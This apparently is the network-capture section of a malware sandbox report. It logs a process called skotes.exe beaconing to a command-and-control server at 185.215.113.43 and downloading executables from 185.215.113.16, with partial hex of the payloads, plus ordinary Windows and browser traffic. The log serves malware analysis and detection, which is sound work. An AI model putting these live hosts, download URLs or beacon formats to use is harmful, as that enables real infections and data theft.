73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="build"stok------FHJDAAEGIDHDGCAAFCBA--
Dec 16, 2024 15:05:10.894670010 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50278	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:09.742568016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50279	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:10.318706989 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50280	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:10.800436020 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:05:12.167126894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:11 GMT Content-Type: application/octet-stream Content-Length: 2776576 Last-Modified: Mon, 16 Dec 2024 13:42:20 GMT Connection: keep-alive ETag: "67602e3c-2a5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +R+`Ui` @ @.rsrc`2@.idata 8@rogrptwg):@cpllbfsp 8@.taggant@"<*@
Dec 16, 2024 15:05:12.167176962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167262077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167295933 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167355061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167390108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167423010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167459965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:05:12.167608023 CET	1236	IN	Data Raw: 21 91 4b 2d 5a ee 2a b3 17 0c c1 2a 0a ff 63 02 4f ee 27 93 b7 1b 9a b2 17 0c c1 9c 08 03 64 b2 4a ee 4d 31 28 bf e4 3a f9 43 45 ca ea 14 c6 50 09 07 af b3 a7 ee dd 3a f5 dd 47 83 af 00 fb 7f 12 a9 41 32 6a 18 c2 0a 2a 25 4c 08 49 09 e5 b6 78 eb Data Ascii: !K-Z*cO'dJM1(:CEP:GA2j%LIxW8Wl$C41;QopfKEq^wI4ZW,J:BXL>EREOx'`)8_.FAR^EM`q1Mq+^Ev X(fCM*KA']R9G
Dec 16, 2024 15:05:12.167640924 CET	1236	IN	Data Raw: e0 01 2e 4e 05 13 8f 3b a1 33 4f 64 80 34 c9 0e b1 3d 79 44 99 ad 73 7e 5f 3c 50 23 22 cb 80 d4 10 e1 35 c3 15 59 8b dc 19 6f 11 63 33 60 68 85 a8 8d 82 f9 4f 90 69 83 68 ec d6 6b 22 35 d7 e8 66 e4 3c 79 22 78 77 bf c6 2f 59 00 40 6f 82 31 56 e4 Data Ascii: .N;3Od4=yDs~_<P#"5Yoc3`hOihk"5f<y"xw/Y@o1Vk;lAwr\qd-I_J3>>iQ1IR QAl\qSIZmRzvif{M2UucfoJ}<zOIxM&6+zy)Xk(:-QU>JlQnodyT
Dec 16, 2024 15:05:12.287710905 CET	1236	IN	Data Raw: 58 75 56 c9 9a 15 fc 60 5e 55 5c 4e 4d f5 a0 2f 39 a4 ee 94 48 f1 a6 4b 5b 5e 5f c3 66 35 65 93 1e 5c 8f 3c 7c 39 14 f0 31 42 73 58 4f ae c0 ee 5c 0b ac 12 73 48 8e fb 2f 29 80 f8 a1 c6 d4 59 3a b8 0b d1 7a a2 09 4c 9a 79 76 11 5a 4d e0 46 74 39 Data Ascii: XuV`^U\NM/9HK[^_f5e\<\|91BsXO\sH/)Y:zLyvZMFt9n-&RY;X{dq&f/6:>Ngs@whv \|E\|GI45G27C;[`Q($OX^WgG`0&w28G]6]00\|[8Svb&4A!YvJ MJS`
Dec 16, 2024 15:05:16.675110102 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 16, 2024 15:05:17.118511915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:16 GMT Content-Type: application/octet-stream Content-Length: 1796608 Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* i@Pi:@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@szaazyea@O~@jswuitsriD@.taggant0 i"H@

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50281	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:10.993712902 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:05:12.107373953 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63490 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:05:14.437499046 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:05:14.762080908 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 15 Dec 2024 20:27:01 GMT Age: 63493 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50282	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:11.172419071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:05:12.978718996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 16, 2024 15:05:12.979423046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50284	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:14.619410992 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:05:15.972064972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:05:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50285	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:05:17.820667028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 32 48 77 61 32 56 39 63 30 4b 55 2b 50 43 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 38 65 35 61 36 65 30 37 35 66 61 32 34 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: a2Hwa2V9c0KU+PCc.1Context: 418e5a6e075fa248
2024-12-16 14:01:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:01:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 32 48 77 61 32 56 39 63 30 4b 55 2b 50 43 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 38 65 35 61 36 65 30 37 35 66 61 32 34 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: a2Hwa2V9c0KU+PCc.2Context: 418e5a6e075fa248<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:01:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 32 48 77 61 32 56 39 63 30 4b 55 2b 50 43 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 38 65 35 61 36 65 30 37 35 66 61 32 34 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: a2Hwa2V9c0KU+PCc.3Context: 418e5a6e075fa248<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:01:08 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:01:08 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 70 4a 38 46 6f 57 33 75 36 30 75 42 46 63 6d 57 47 6a 39 66 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: pJ8FoW3u60uBFcmWGj9faQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49735	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:17 UTC	346	OUT	GET /th?id=OADD2.10239360505011_123FH55PMWQ5EA6JP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-16 14:01:17 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 356644 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 81AB3D9C8D8F47328ED3C6B772D1113F Ref B: EWR30EDGE0815 Ref C: 2024-12-16T14:01:17Z Date: Mon, 16 Dec 2024 14:01:17 GMT Connection: close
2024-12-16 14:01:17 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 31 3a 31 36 3a 35 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 01:16:558C
2024-12-16 14:01:17 UTC	16384	IN	Data Raw: 9b 8a 6e 7b 2f 55 a6 ab 7c b4 e6 7c 2e 16 8d 56 c4 ef ea 39 58 1f f6 45 2a b8 fc 2a 15 04 35 48 18 05 e7 ad 36 90 e3 2b b1 7c c6 14 ac 7f 2a 67 06 8e 0a e2 85 14 27 26 d8 e6 39 a6 b5 39 48 a4 63 e9 42 d3 40 6c 5f bd 46 70 b9 a6 2e 69 73 4e c2 be a2 b1 34 29 3d fa 53 73 8f bd 4f 6c 75 14 9d 8a 5e a1 b8 0e 7f bd 4b be 90 e2 98 a2 84 af a8 9b 63 d5 cd 39 5f 3c 54 6a 3f f1 ea 30 df dd a6 e2 81 27 71 cc 70 d4 67 e6 c5 0b f2 f5 a4 eb d6 8d c2 43 c8 1d 69 ad f7 a9 a4 e7 9a 5c fa d0 95 81 ec 23 73 47 d6 92 9d 8c f3 4f a5 c9 d2 f6 11 b8 a5 c9 1c 76 a4 61 9a 46 ff 00 d0 a8 dc 02 86 19 a4 50 d4 62 aa d6 17 28 64 d2 b7 dd a3 14 30 f9 7d e9 75 12 62 2f 3d 69 d9 02 91 47 6a 3a 53 61 ca ec 0c 7d 28 ce 28 6c 06 f6 a5 62 c7 a5 16 16 c2 6e c7 4a 39 ef 43 0e f4 2d 50 5d ad Data Ascii: n{/U\|\|.V9XE*5H6+\|g'&99HcB@l_Fp.isN4)=SsOlu^Kc9_<Tj?0'qpgCi\#sGOvaFPb(d0}ub/=iGj:Sa}((lbnJ9C-P]
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: dd d4 d5 c5 51 1a 0c ce 38 a5 53 4e 51 f2 e6 86 1d e8 26 cf 72 36 cd 29 19 e4 54 8a a0 6e 5a 55 5f 9b 1d a9 f3 20 51 20 c0 dd cd 2b 0c 71 53 f9 4a 7a d2 ed 07 a5 1c e8 6e 24 0a b9 e2 96 35 f5 a9 94 7c d4 ac 9d a8 e6 0b 32 be d1 bb da 95 78 ab 0d 18 da b4 8a b8 5a 39 d3 25 c5 a2 0f 6a 7a e3 6e 3b d3 9d 45 0a a9 da 9b 90 c6 ed ef 48 a0 ee a7 e7 0c bf ed 7d ea 46 c0 6d ab f2 9a 57 13 57 18 a3 3d 29 db 7e ed 23 1f 9b 8a 39 5d c2 8d 42 c0 c3 e6 fb b4 63 2d 81 d2 82 c4 f5 e9 4f c9 2d f7 e9 06 e2 20 23 8e f4 f5 ca d4 34 f8 ce 7a 7f c0 68 94 74 12 6a e4 99 f5 a4 a8 d4 ed 6f 7a 56 62 7a 52 51 1d c7 f3 b6 91 09 34 46 df f8 f5 39 8e 17 3f 7a 9d 9a d0 4d 76 15 7e f7 f7 69 70 3f 1a 62 b1 3d 3f ef 9a 03 12 d5 3c ac a1 d8 f6 a7 53 33 f3 7b 53 ba d0 1e 42 e7 0d 4b bc 53 Data Ascii: Q8SNQ&r6)TnZU_ Q +qSJzn$5\|2xZ9%jzn;EH}FmWW=)~#9]Bc-O- #4zhtjozVbzRQ4F9?zMv~ip?b=?<S3{SBKS
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 33 e5 cd 41 23 e5 b8 aa fe 77 bd 46 d2 f7 34 e3 1b 03 65 97 97 e5 e3 e5 a8 c4 df 36 4d 56 69 01 a6 33 e1 b8 ab 51 ec 45 cd 05 98 0f bb 52 89 7d 1a b2 96 52 2a 58 e5 a1 c0 6a 66 b5 b4 a7 75 58 59 0f 7a cb b7 97 15 69 25 ca f1 58 4a 3a 9a 29 5d 16 95 e9 1d f3 c7 6a 80 49 8a 1d b2 b4 83 42 2b 84 c3 31 a8 58 02 b5 2c 8e 42 ed dd 50 67 e6 ae 98 49 ec 61 52 28 11 97 bd 18 dc b4 8c b9 e9 49 f3 74 15 a7 31 93 85 90 d6 07 cc c9 a9 1b 03 eb 48 a0 9a 77 96 4a f3 4f 99 dc 51 48 16 9d 9f f8 15 2a a0 a7 b0 c7 4a 5c da 85 99 1e 31 d6 8c 7c d4 fc fb d2 e3 14 73 0f 94 8f e9 f2 d2 e7 e5 a7 ba e6 85 5a 77 56 15 86 a8 a6 b0 21 b9 a7 e0 af fb b4 8f ff 00 8f 50 84 33 1e d4 28 a1 41 a5 53 96 e6 98 ac 18 f9 69 54 e1 b1 4e 51 9d d4 8c 87 77 14 6e 3b 09 ed 43 00 29 7f 86 9b 8c f5 Data Ascii: 